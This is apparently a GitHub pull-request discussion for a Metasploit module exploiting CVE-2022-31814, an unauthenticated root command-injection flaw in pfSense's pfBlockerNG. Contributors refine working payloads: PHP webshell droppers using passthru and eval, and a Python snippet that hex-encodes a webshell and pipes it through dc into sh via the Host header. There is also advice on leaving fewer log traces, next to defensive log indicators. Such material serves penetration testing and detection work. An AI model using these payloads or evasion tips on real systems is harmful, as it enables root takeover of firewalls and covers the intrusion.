Add module for pfSense pfBlockNG unauth RCE as root - CVE-2022-31814

[jheysel-r7]

This module exploits a vulnerability in the pfSense plugin, pfBlockerNG that allows remote unauthenticated
attackers to execute execute arbitrary OS commands as root via shell metacharacters in the HTTP Host header.
Versions =< 2.1.4_26 are vulnerable, note that version 3.X is unaffected.

Verification

List the steps needed to make sure this thing works

• Start msfconsole
• Do: use unix/http/pfsense_pfblockerng_webshell
• Set the RHOST, LHOST options
• Run the module
• Receive a cmd shell as the root user

[EvergreenCartoons]

I can't seem to send a PR to the PR to add to the notes, so whatever, I'll add them in this comment (along with the other comment above).

For IoC's in Logs, I did a look about, and found the exploitation creates log entries in the following places:

logs of webshell access and any commands sent will be in /var/log/nginx.log
logs of requests to the vulnerable endpoint will be in /var/log/nginx.log
the whole webshell injection command will be in /var/log/pfblockerng/dnsbl.log

For less-logs, using a POST request to send the commands to the webshell is far superior, that way you don't end up with commandstager crap spewed into the nginx access log, so there is significantly less mess to clean up.

[jacob-baines]

Instead of python3.8 -m base64 -d, I'd suggest openssl base64 -d. My main concern being the versioned python binary. Although, if pfsense never changes it then 🤷🏼

Great module @jheysel-r7! <3

[jvoisin]

base64 -d is even shorter :)

[jacob-baines]

Too bad pfSense doesn't have base64 -d ;)

[jvoisin]

Arg.

[jheysel-r7]

Thanks all!! 🙇

[jvoisin]

No need for the trailing ... since [5, 8, 11, 14, 17] are the only values used.

[jvoisin]

This can be golfed/improved:

<?php file_put_contents('/usr/local/www/#{@webshell_name}','<?php print(passthru($_GET["c"]));');

• Short tags (<?) are deprecated
• file_put_contents is equivalent to fopen()→fwrite()→fclose()
• No need to provide a closing tag (?>)
• No need to add a trailing ||die() now that we have a single statement

[jvoisin]

Also, why not use getmyuid()/get_current_user()/posix_getuid()/… directly?

[jheysel-r7]

Thanks @jvoisin, these are all great. I've made these changes and retested.

Do you mean using getmyuid()/get_current_user()/posix_getuid() directly when issuing the check_for_shell request?

[jvoisin]

Absolutely, since you're checking the return of a getuid function to see if the target is vulnerable.

[jvoisin]

base64 -d is even shorter :)

[EvergreenCartoons]

Just another FYI: You can replace the base64 entirely with hex using dc to decode it.

A worked example as part of my implementation of this exploit is here: EvergreenCartoons/SenselessViolence#7

This also avoids weird bad-char issues to do with forward slashes in base64, allowing for much greater freedom in payload selection.

[jheysel-r7]

Just another FYI: You can replace the base64 entirely with hex using dc to decode it.

A worked example as part of my implementation of this exploit is here: EvergreenCartoons/SenselessViolence#7

This also avoids weird bad-char issues to do with forward slashes in base64, allowing for much greater freedom in payload selection.

Sweet, this is great! Thanks for linking

[EvergreenCartoons]

Further payload optimising: yes, we can go smaller, replace the PHP dropper with a simple shell dropper.

Also worth noting - with the hex encoding there is no restriction that I have found on the length of the webshell name, and I've tested it pretty extensively so far.

I've yet to commit the latest changes to my implementation, but it works.

Code snippet (python3) below:

    shell_fullpath = "/path/to/webshell.php"
    shell_code = "<?php eval($_POST[1]);"
    php_code = f"echo '{shell_code}' > {shell_fullpath}"
    encoded_php = binascii.hexlify(php_code.encode('ascii'))
    encoded_php = encoded_php.upper()
    print(encoded_php)
    command_string = f"' *; echo '16i {encoded_php.decode('ascii')} P' | dc | sh; '"

[jheysel-r7]

Further payload optimising: yes, we can go smaller, replace the PHP dropper with a simple shell dropper.

Also worth noting - with the hex encoding there is no restriction that I have found on the length of the webshell name, and I've tested it pretty extensively so far.

I've yet to commit the latest changes to my implementation, but it works.

Code snippet (python3) below:

    shell_fullpath = "/path/to/webshell.php"
    shell_code = "<?php eval($_POST[1]);"
    php_code = f"echo '{shell_code}' > {shell_fullpath}"
    encoded_php = binascii.hexlify(php_code.encode('ascii'))
    encoded_php = encoded_php.upper()
    print(encoded_php)
    command_string = f"' *; echo '16i {encoded_php.decode('ascii')} P' | dc | sh; '"

Thanks for the suggestion @EvergreenCartoons, much appreciated. I tried implementing this but wasn't able to get code execution. I tried to follow what you suggested:

Updated the shell code to run the eval command and then also updated the end of the command string ( in my case the host header) P' | dc | sh; ' to execute shell code instead of php code.

Do you know if I'll have to update how I'm sending the command in vars_post for this to work? Any further suggestions would be appreciated, thanks!

[jvoisin]

'<?php print(passthru( $_POST["c"]));' → '<?php echo(passthru($_POST["c"]));' is even shorter!

[jheysel-r7]

Updated, thanks @jvoisin!

[gwillcox-r7]

Release Notes

A module has been added for CVE-2022-31814, an unauthenticated RCE in the pfSense plugin within pfBlockerNG that allows remote unauthenticated attackers to execute execute arbitrary OS commands as root via shell metacharacters in the HTTP Host header. Versions =< 2.1.4_26 are vulnerable. Note that version 3.X is unaffected.

[jmartin-tech]

A little late to the party but this will leave around a file if only the check is called.

[jheysel-r7]

Fix has been pushed #17163. Thanks for bringing this up!